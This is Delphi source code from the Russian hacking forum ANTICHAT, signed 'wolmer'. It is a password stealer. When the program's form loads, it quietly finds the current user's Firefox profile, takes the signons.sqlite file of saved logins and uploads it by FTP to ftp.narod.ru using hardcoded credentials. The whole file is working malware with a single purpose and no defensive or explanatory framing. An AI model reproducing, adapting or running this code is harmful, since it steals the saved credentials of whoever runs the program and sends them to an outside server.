ANTICHAT — форум по информационной безопасности, OSINT и технологиям

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdFTP;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Edit1: TEdit;
    IdFTP1: TIdFTP;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

//На переменные которые лишние -> не обращаем внимания  :) 

function GetUserFromWindows: string;
var
  UserName : string;
  UserNameLen : Dword;
begin
  UserNameLen := 255;
  SetLength(userName, UserNameLen);
  if GetUserName(PChar(UserName), UserNameLen) then
    Result := Copy(UserName,1,UserNameLen - 1)
  else
    Result := 'Unknown';
end;

function GetSystemDisk: string;
var
 S: array[0..MAX_PATH] of Char;
begin
  GetWindowsDirectory(S,SizeOf(S));
  Result:=copy(S,0,1);
end;

procedure TForm1.FormCreate(Sender: TObject);
var
User,Disc:string;
coock,st,mask:string;
f:TextFile;
i:integer;
Sf:tsearchrec;
find:integer;
Firefox:string;
FireFoxUser:string;
begin
 //code by wolmer
 Disc:=GetSystemDisk;
 User:=GetUserFromWindows;
 find:=FindFirst(Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\*',faDirectory,sf);
  if find=0 then
   begin
    if ((Sf.Attr and faDirectory) = faDirectory) and
     ((Sf.Name = '.') or (Sf.Name = '..')) then
     begin
       Find:=FindNext(Sf);
     end;
   find:=FindNext(sf);
   FireFoxUser:=sf.name;
  end;
Firefox:= Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+FireFoxUser+'\signons.sqlite';
if FileExists(Firefox) then
 begin
  IdFTP1.Username:='123';
  IdFTP1.Password:='123';
  IdFTP1.Host:='ftp.narod.ru';
  IdFTP1.Port:=21;
  IdFTP1.Connect();
  IdFTP1.Put(FireFox, 'NameFile1');
  IdFTP1.Disconnect;
 end;
end;


end.